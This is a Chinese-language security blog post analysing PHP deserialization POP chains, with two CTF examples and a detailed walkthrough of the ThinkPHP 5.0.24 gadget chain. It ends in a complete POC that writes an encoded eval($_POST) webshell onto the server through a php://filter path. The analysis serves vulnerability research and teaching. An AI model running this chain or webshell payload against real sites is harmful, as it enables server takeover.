PHP反序列化鏈分析

yokan發表於2022-05-09

前言

基本的魔術方法和反序列化漏洞原理這裡就不展開了。

給出一些魔術方法的觸發條件:

__construct()當一個物件建立(new)時被呼叫,但在unserialize()時是不會自動呼叫的

__destruct()當一個物件銷燬時被呼叫

__toString()當一個物件被當作一個字串使用

__sleep() 在物件在被序列化之前執行

__wakeup將在unserialize()時會自動呼叫

__set方法:當程式試圖寫入一個不存在或不可見的成員變數時,PHP就會執行set方法。

__get方法:當程式呼叫一個未定義或不可見的成員變數時,通過get方法來讀取變數的值。

__invoke():當嘗試以呼叫函式的方式呼叫一個物件時,invoke() 方法會被自動呼叫

__call()方法:當呼叫一個物件中不存在的方法時,call 方法將會被自動呼叫。

pop鏈

pop又稱之為面向屬性程式設計(Property-Oriented Programing),常用於上層語言構造特定呼叫鏈的方法,與二進位制利用中的面向返回程式設計(Return-Oriented Programing)的原理相似,都是從現有執行環境中尋找一系列的程式碼或者指令呼叫,然後根據需求構成一組連續的呼叫鏈,最終達到攻擊者邪惡的目的;只不過ROP是通過棧溢位實現控制指令的執行流程,而我們的反序列化是通過控制物件的屬性從而實現控制程式的執行流程;因為反序列化中我們能控制的也就只有物件的屬性

總的來說,POP鏈就是利用魔法方法在裡面進行多次跳轉然後獲取敏感資料的一種payload

構造思路

對於POP鏈的構造,我們首先要找到它的頭和尾。pop鏈的頭部一般是使用者能傳入引數的地方,而尾部是可以執行我們操作的地方,比如說讀寫檔案,執行命令等等;找到頭尾之後,從尾部(我們執行操作的地方)開始,看它在哪個方法中,怎麼樣可以呼叫它,一層一層往上倒推,直到推到頭部為止,也就是我們傳參的地方,一條pop鏈子就出來了

下面我們看兩個例子

POP鏈例項1

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

__get方法:當程式呼叫一個未定義或不可見的成員變數時,通過get方法來讀取變數的值。

__toString()當一個物件被當作一個字串使用 (如,echo 一個物件)

__destruct()當一個物件銷燬時被呼叫

思路分析:先找POP鏈的頭和尾,頭部明顯是GET傳參,尾部是Uwant類中的getshell,然後往上倒推,Uwant類中的__get()中呼叫了getshellShow類中的__toString可以呼叫__get(),然後Hello類中的__destruct()可以構造來呼叫__toString,所以我們GET傳參讓其先進入__destruct(),這樣頭和尾就連上了,所以說完整的鏈子就是:

頭 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

具體構造:

Hello類中我們要把$this->str賦值成物件,下面echo出來才能呼叫Show類中的__toString(),然後再把Show類中的$this->str['str']賦值成物件,來呼叫Uwant類中的__get()

<?php

class Hello
{
    public $source;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Uwant
{
    public $params='phpinfo();';
}

$a = new Hello();
$b = new Show();
$c = new Uwant();

$a->str = $b;
$b->str['str']= $c;

echo serialize($a);
?>

image-20220506142632457

然後將結果進行url編碼,GET方式傳入

image-20220506142810843

POP鏈例項2——2021強網杯-賭徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='./flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

__wakeup將在unserialize()時會自動呼叫

__get方法:當程式呼叫一個未定義或不可見的成員變數時,通過get方法來讀取變數的值。

__toString()當一個物件被當作一個字串使用

__invoke():當嘗試以呼叫函式的方式呼叫一個物件時,invoke() 方法會被自動呼叫

思路分析:首先依然是找到頭和尾,頭部依然是一個GET傳參,而尾部可以看到Room類中有個Get_hint()方法,裡面有一個file_get_contents,可以實現任意檔案讀取,我們就可以利用這個讀取flag檔案了,然後就是往前倒推,Room類中__invoke()方法呼叫了Get_hint(),然後Room類的__get()裡面有個return $function()可以呼叫__invoke(),再往前看,Info類中的__toString()中有Room類中不存在的屬性,所以可以呼叫__get(),然後Start類中有個_sayhello()可以呼叫__toString(),然後在Start類中__wakeup()方法中直接呼叫了_sayhello(),而我們知道的是,輸入字串之後就會先進入__wakeup(),這樣頭和尾就連上了

頭 -> Start::__wakeup() -> Start::__sayhello() -> Info::__toString() -> Room::__get() -> Room::__invoke() -> Room::__Get_hint() -> 尾

具體構造:

Start類的__wakeup()方法在反序列化時自動呼叫,然後呼叫__sayhello()方法,這裡我們要把$this->name賦值成物件,echo出來才能呼叫Info類中的__toString(),然後再把Info類中的$this->file['filename']賦值成物件,來呼叫Room類中的__get(),再把Room類中的$this->a賦值成物件,來呼叫Room類中的__invoke(),最終呼叫Get_hint方法拿到flag

<?php
class Start
{
	 public $name;
}
class Info
{
    private $phonenumber;
    public $promise;

}
class Room
{
    public $filename='./flag';
    public $sth_to_set;
    public $a='';

}

$a = new Start;
$b = new Info;
$c = new Room;
$d = new Room;

$a->name = $b;
$b->file['filename'] = $c;
$c->a = $d;

echo serialize($a);
echo '</br>';
echo urlencode(serialize($a));

?>

image-20220506170354496

image-20220506170244881

把前面的hi去掉再進行base64解碼才能得到flag

TP5.0.24反序列化利用鏈

環境搭建

下載thinkPHP

http://www.thinkphp.cn/donate/download/id/1279.html

將原始碼解壓後放到PHPstudy根目錄,修改application/index/controller/Index.php檔案,此為框架的反序列化漏洞,只有二次開發且實現反序列化才可利用。所以我們需要手工加入反序列化利用點。

新增一行程式碼即可:

unserialize(base64_decode($_GET['a']));

image-20220507150455097

POP鏈構造分析

首先,進行全域性搜尋__destruct

image-20220507152507318

檢視thinkphp/library/think/process/pipes/Windows.php的Windows類中呼叫了__destruct魔術方法

image-20220507152726143

跟進removeFiles方法

image-20220507153231772

file_exists — 檢查檔案或目錄是否存在

file_exists ( string $filename ) : bool

發現file_exists函式,file_exists接收一個字串,所以如果傳入一個物件的話,會把物件當作字串處理,這時候就可以呼叫__toString魔術方法。

全域性搜尋__toString:

image-20220507154101389

檢視此方法在Model(thinkphp/library/think/Model.php):

image-20220507154156051

不過Model類為抽象類,不能直接呼叫

image-20220507154532899

因此需要找他的子類。我們可以找到Pivot(thinkphp/library/think/model/Pivot.php)進行呼叫

image-20220507154559413

回到__toString方法,它呼叫了toJson()方法,跟進toJson

image-20220507155548354

繼續跟進toArray方法

public function toArray()
{
    $item    = [];
    $visible = [];
    $hidden  = [];

    $data = array_merge($this->data, $this->relation);

    // 過濾屬性
    if (!empty($this->visible)) {
        $array = $this->parseAttr($this->visible, $visible);
        $data  = array_intersect_key($data, array_flip($array));
    } elseif (!empty($this->hidden)) {
        $array = $this->parseAttr($this->hidden, $hidden, false);
        $data  = array_diff_key($data, array_flip($array));
    }

    foreach ($data as $key => $val) {
        if ($val instanceof Model || $val instanceof ModelCollection) {
            // 關聯模型物件
            $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
        } elseif (is_array($val) && reset($val) instanceof Model) {
            // 關聯模型資料集
            $arr = [];
            foreach ($val as $k => $value) {
                $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
            }
            $item[$key] = $arr;
        } else {
            // 模型屬性
            $item[$key] = $this->getAttr($key);
        }
    }
    // 追加屬性(必須定義獲取器)
    if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
            if (is_array($name)) {
                // 追加關聯物件屬性
                $relation   = $this->getAttr($key);
                $item[$key] = $relation->append($name)->toArray();
            } elseif (strpos($name, '.')) {
                list($key, $attr) = explode('.', $name);
                // 追加關聯物件屬性
                $relation   = $this->getAttr($key);
                $item[$key] = $relation->append([$attr])->toArray();
            } else {
                $relation = Loader::parseName($name, 1, false);
                if (method_exists($this, $relation)) {
                    $modelRelation = $this->$relation();
                    $value         = $this->getRelationData($modelRelation);

                    if (method_exists($modelRelation, 'getBindAttr')) {
                        $bindAttr = $modelRelation->getBindAttr();
                        if ($bindAttr) {
                            foreach ($bindAttr as $key => $attr) {
                                $key = is_numeric($key) ? $attr : $key;
                                if (isset($this->data[$key])) {
                                    throw new Exception('bind attr has exists:' . );
                                } else {
                                    $item[$key] = $value ? $value->getAttr($attr) : null;
                                }
                            }
                            continue;
                        }
                    }
                    $item[$name] = $value;
                } else {
                    $item[$name] = $this->getAttr($name);
                }
            }
        }
    }
    return !empty($item) ? $item : [];
}

只要物件可控,且呼叫了不存在的方法,就會呼叫__call方法。可以看到,存在如下三個可能可以控制的物件:

image-20220507161020085

經過分析最後一處$value->getAttr是我們利用__call魔術方法 的點。

我們來看一下程式碼怎麼才能執行到$value->getAttr

1.!empty($this->append)                           # $this->append不為空
2.!is_array($name)                                #$name不能為陣列
3.!strpos($name, '.')                             #$name不能有.
4.method_exists($this, $relation)                 #$relation必須為Model類裡的方法
5.method_exists($modelRelation, 'getBindAttr')    #$modelRelation必須存在getBindAttr方法
6.$bindAttr                                       #$bindAttr不為空
7.!isset($this->data[$key])                       #$key不能在$this->data這個陣列裡有相同的值。

需要滿足以上七個條件。

我們來逐個分析一下:

toArray方法中,$this->append是可控的,因此$key$name也是可控的,我們只需要使$this->append=['test']隨便幾個字元就可以滿足前三個條件,到了第四個條件,發現$relation$name有關係.如下:

 $relation = Loader::parseName($name, 1, false);

跟進parseName

image-20220507164450614

發現parseName只是將字串命名風格進行了轉換。也就是說$name==$relation。

所以我們使$this->append=['getError']getError為Model類裡的方法,且結構簡單返回值可控。這樣就滿足了第四個條件

image-20220507164924585

下面進入了關鍵兩行程式碼:

$modelRelation = $this->$relation();
$value         = $this->getRelationData($modelRelation);

前面我們使得$relationgetError方法,返回值可控,所以$modelRelation也可控。

跟進getRelationData方法:

我們看到$modelRelation必須為Relation類的物件,可以通過$this->error控制

image-20220507165732314

要滿足if語句的條件就可以讓value可控,所以$modelRelation這個物件還要有isSelfRelation()getModel()方法。

這兩種方法在Relation類中都有,但因為Relation為抽象類,需要尋找他的子類。全域性搜尋:

image-20220507171837866

除了最後一個是抽象類外,都可以拿來用,但是我們還需要滿足第五個條件,需要$modelRelation必須存在getBindAttr方法,但是Relation類沒有getBindAttr方法,只有OneToOne類裡有,且OneToOne類正好繼承Relation類,不過是抽象類,所以我們需要找它的子類。全域性搜尋:

image-20220507172255797

發現存在兩個可用的,我們選擇第二個HasOne類,即$this->error=new HasOne()。這樣就滿足了第五個條件

好了,呼叫方法的問題解決了,下面思考如何滿足if語句的條件:

image-20220507172748777

$this->parent可控,我們要使用Output類中的__call,所以$value必須為output物件,所以$this->parent必須控制為output物件,即$this->parent=new Output().

我們看一下isSelfRelation()方法:

public function isSelfRelation()
{
    return $this->selfRelation;
}

$this->selfRelation可控,設為false即可。

get_class — 返回物件的類名

$this->parent已經確定為Output類了,所以我們要控制get_class($modelRelation->getModel())Output類,看一下getModel()的實現:

public function getModel()
    {
        return $this->query->getModel();
    }

$this->query可控,我們只需要找個getModel方法返回值可控的就可以了,全域性搜尋getModel方法:

image-20220507173918535

可以看到Query類中getModel方法返回值可控,使$this->query=new Query()$this->model=new Output()即可。

經過以上,滿足了if語句的條件,if方法為True,$value=$this->parent=new Output().

下面來看第六個條件:

$bindAttr = $modelRelation->getBindAttr();

image-20220507175332988

$this->bindAttr可控,$this->bindAttr=["yokan","yokantest"],隨便寫即可。這樣就滿足了第六個、第七個條件

於是就到達了$item[$key] = $value ? $value->getAttr($attr) : null;

因為Output類中沒有getAttr方法,所以會去呼叫__call方法。

跟進Output類中的__call方法:

public function __call($method, $args)
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return call_user_func_array([$this, 'block'], $args);
    }

    if ($this->handle && method_exists($this->handle, $method)) {
        return call_user_func_array([$this->handle, $method], $args);
    } else {
        throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
    }
}

__call方法中的$method=getAttr, $args=['yokantest']

我們要使用call_user_func_array([$this, 'block'], $args); 就要使in_array($method, $this->styles)成立。$this->styles可控,即$this->styles=['getAttr']

array_unshift — 在陣列開頭插入一個或多個單元

array_unshift ( array &$array [, mixed $...] ) : int

array_unshift($args, $method); 是將$method新增到陣列$args中不用管。

進入call_user_func_array([$this, 'block'], $args);

call_user_func_array — 呼叫回撥函式,並把一個陣列引數作為回撥函式的引數

call_user_func_array( callable $callback, array $param_arr) : mixed

把第一個引數作為回撥函式(callback)呼叫,把引數陣列作(param_arr)為回撥函式的的引數傳入。

呼叫了block方法,跟進block方法:

image-20220507182058199

跟進writeln方法:

image-20220507224505819

跟進write方法:

image-20220507224546791

$this->handle可控全域性查詢可利用的write方法:

image-20220507225046431

這裡選擇/thinkphp/library/think/session/driver/Memcache.php裡的write方法

image-20220507225322625

因為Memcached也存在一個$this->handle我們可以控制,進而可以利用set方法。

全域性查詢set方法:

image-20220507225626871

這裡選擇thinkphp/library/think/cache/driver/File.php下的set方法,因為發現存在寫入檔案:

image-20220507225708221

$result = file_put_contents($filename, $data);

接下來就是檢視$filename, $data這兩個引數是否可控:

先看$filename

跟進getCacheKey方法:

image-20220507230921327

這裡$this->options可控,所以$filename可控。

現在就只需要寫入的$data可控了:

image-20220507231455285

$data的值來自$value,但是$value我們沒法控制

image-20220507231839095

但是繼續往下看,進入setTagItem方法之後發現,會將$name換成$value再一次執行了set方法。

image-20220507232041778

image-20220507232617840

前面分析過,$filename我們可以控制,所以$value也可以控制,所以這次呼叫set方法,傳入的三個值我們都可以控制:

image-20220507233422460

最後再通過php偽協議可以繞過exit()的限制 ,就可以將危害程式碼寫在伺服器上了。

例如:

$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>

image-20220507235115279

生成的檔名為:

md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
 =>3b58a9545013e88c7186db11bb158c44
 => <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
 最終檔名:
 <?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php

對於windows環境我們可以使用以下payload.

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

生成的檔名如下:

1628581200_61122d50e2b69cbb5258a.png

原理可以看這篇文章:https://xz.aliyun.com/t/7457#toc-3

POP鏈(圖)

img

POC

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子類new Pivot(); Model是抽象類
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //呼叫getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要為 relation類的子類,並且也是OnetoOne類的子類==>>HasOne
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作為call函式引用的第二變數
        }
    }
}

namespace think\db {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600, 
                'cache_subdir' => false, 
                'prefix' => '', 
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    echo serialize($window);
    echo "<br/><br/><br/>";
    echo base64_encode(serialize($window));
}

復現

漏洞環境:

image-20220508001626113

生成POC:

image-20220508001459469

觸發:

image-20220508001612247

image-20220508001731805

利用:

image-20220508002148575

參考

https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24反序列化漏洞分析/

https://www.freebuf.com/articles/web/284091.html

https://xz.aliyun.com/t/8143#toc-10

https://blog.wh1sper.com/posts/thinkphp5程式碼審計/

http://arsenetang.com/2021/08/17/反序列化篇之pop鏈的構造(下)/

https://xz.aliyun.com/t/7457

相關文章